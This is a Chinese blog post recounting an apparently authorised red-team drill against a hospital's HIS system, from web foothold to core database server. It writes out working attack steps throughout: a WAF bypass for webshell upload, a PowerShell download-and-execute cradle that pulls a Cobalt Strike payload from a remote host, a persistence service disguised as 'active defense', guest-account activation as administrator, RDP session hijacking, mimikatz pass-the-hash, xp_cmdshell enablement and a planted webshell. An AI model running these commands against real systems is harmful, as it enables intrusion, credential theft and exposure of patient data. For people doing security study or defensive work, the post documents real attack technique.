美文网首页安全域渗透
记一次实战攻防渗透

记一次实战攻防渗透

作者: Tide_诺言 | 来源:发表于2021-05-06 16:06 被阅读0次

    前言

    记录之前参加演练的一次实战过程。

    演练目标

    拿下某医院核心his权限

    web打点

    拿到目标,通过信息收集尽可能多的寻找目标资产,最终发现了存在漏洞的某系统,通过该系统进入内网。

    用户枚举漏洞

    登录处存在用户枚举漏洞


    返回包可以看到该帐号的功能,所属的科室等信息。


    弱口令漏洞

    通过对枚举得到的用户进行弱口令爆破,成功登陆了某医生的账户。



    该账户只有一个体检预约管理的功能,经过测试无法直接getshell。

    越权漏洞

    观察当前url地址,发现存在usersysid和deptid两个参数,usersysid为当前用户名,deptid恰好可以通过用户枚举得到,因此可能存在越权漏洞。



    经过测试发现可以通过修改参数进行越权,大部分为普通用户,经过反复尝试发现269用户权限比较高,尝试替换usersysid和deptid进行越权。



    成功访问到该帐号的功能模块。

    文件上传漏洞

    对高权限用户的功能模块进行测试,发现上传点。



    网站存在某种waf,常规webshell无法直接上传,尝试进行bypass。

    最终绕过waf成功上传webshell,对数据包进行了4次处理。
    1、"boundary="后面加tab键
    2、使用asHX后缀
    3、删除"Content-type:"后面的类型信息
    4、正常图片文件的内容开头



    成功得到目标webshell,web打点结束。


    内网横向

    上线cs

    目前只有一个webshell命令执行权限,为了后续横向,尝试利用cs进行多人运动~
    首先查看目标主机是否出网,和安装的杀软情况。
    通过ping命令确定目标出网。


    通过tasklist命令查看是否运行杀软
    https://maikefee.com/av_list
    未发现存在杀软

    系统版本为server2012,尝试直接运行powershell命令上线cs。
    powershell.exe IEX ((new-object net.webclient).downloadstring('http:x.x.x.x:xx/x'))
    

    cs成功上线,当前为iis权限,直接使用梼杌的提权插件。选择使用烂土豆提权server2012
    https://github.com/pandasec888/taowu-cobalt-strike

    成功提升至system权限。


    权限维持

    目前已经得到了system权限,为了防止webshell被删,服务器重启,web服务关闭等问题,需要做一下权限维持。
    https://www.jianshu.com/p/f3f3d4d34701
    我常用的把powershell上线cs的命令注册成服务,每次开机执行。(容易被发现,追求隐蔽性不推荐该方法)

    创建一个名为主动防御的服务。
    sc create "主动防御" binpath= "cmd /c start powershell.exe IEX (new-object net.webclient).downloadstring('http://x.x.x.x/a')"
    设置为自动运行
    sc config "主动防御" start= auto
    演练结束删除服务。
    sc delete "主动防御"
    

    激活guest用户

    net user guest   /active:yes
    net user guest   Qax@123
    net localgroup   administrators  guest   /add
    

    搭建隧道

    可以选择 nps和frp
    我使用是nps代理
    优点: 稳定,速度快,管理方便
    缺点:扫描内网主机端口全部开放(不知道是不是我nps版本的问题)
    创建客户端



    上传服务端到目标服务器执行

    npc.exe -server=x.x.x.x:xxx -vkey=xxxxxx -type=tcp
    

    使用Proxifier代入内网。


    RDP登陆

    有时候我们需要登陆管理员用户方便进行信息收集。
    目标为server2012 mimikatz默认无法读取明文密码,因此在ntml hash解不开的情况下,我们可以尝试2种方法进行登陆。
    1、RDP劫持
    登陆激活的guest用户,执行命令,劫持administrator

    query user 
    sc create tide binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#4"      #1为目标会话id和当前会话名 
    net start tide
    

    2、pth登录远程rdp
    对于server 2012系统,直接使用mimikatz传递ntlm hash值登录

    privilege::debug
    sekurlsa::pth /user:administrator /domain:127.0.0.1 /ntlm:32ed87bdb5fdc5e9cba88547376818d4 "/run:mstsc.exe /restrictedadmin"
    

    win10系统报错



    需要修改注册表

    REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
    

    重新登录

    privilege::debug
    sekurlsa::pth /user:administrator /domain:127.0.0.1 /ntlm:32ed87bdb5fdc5e9cba88547376818d4 "/run:mstsc.exe /restrictedadmin"
    

    !!!登陆前使用命令查看管理员是否在线。

    query user
    

    这里选择使用RDP劫持的方式登陆了administrator用户。


    内网信息收集

    具体信息收集的过程不再描述,通过内网信息收集,发现了数据库连接配置文件,包含his,lis等核心数据库。



    解密his数据库连接信息,发现目标为sql server数据库。



    数据库服务器和当前跳板机为2个不同b段。

    获取核心his权限

    利用得到的账户密码直接登陆his数据库。
    尝试使用xp_cmdshell执行系统命令。

    EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
    exec master..xp_cmdshell "whoami"
    

    成功拿到his数据库服务器权限。



    目标不出网,且无法ping通跳板机。



    证实了该服务器为his服务器,且该网段为核心内网。至此达到演练目标。

    扩展

    目前只能通过数据库来执行系统命令,尝试上线到cs上。
    该his服务器不通外网,且不通跳板机所在的网段。
    反向连接失效,尝试使用正向连接,上线目标服务器到cs。


    cs新建一个监听器,选择beacon-tcp,执行后本地开放一个端口



    生成一个无状态的可执行木马文件,选择对应的监听器。



    上传木马文件到目标主机~
    这里遇到了困难,目标不出网,且不通当前跳板机,只有cmd命令行的情况下,无法直接上传。
    解决方法:目标开放了iis服务,向iis服务网站目录下 echo一个apsx一句话木马,然后通过webshell上传可执行exe文件。

    利用SQL TOOLS可以直观的寻找目标网站目标,然后echo写入木马。




    使用webshell上传exe并且执行。
    执行后会本地开放一个8877端口。
    在跳板机的cs会话中执行:
    connect x.x.x.x 8877
    

    去正向连接目标开放的8877端口。



    成功通过多层内网上线了目标主机。


    总结

    不算复杂的一次内网实战过程,知识又增加了。

    相关文章

      网友评论

        本文标题:记一次实战攻防渗透

        本文链接:https://www.haomeiwen.com/subject/vsjrqltx.html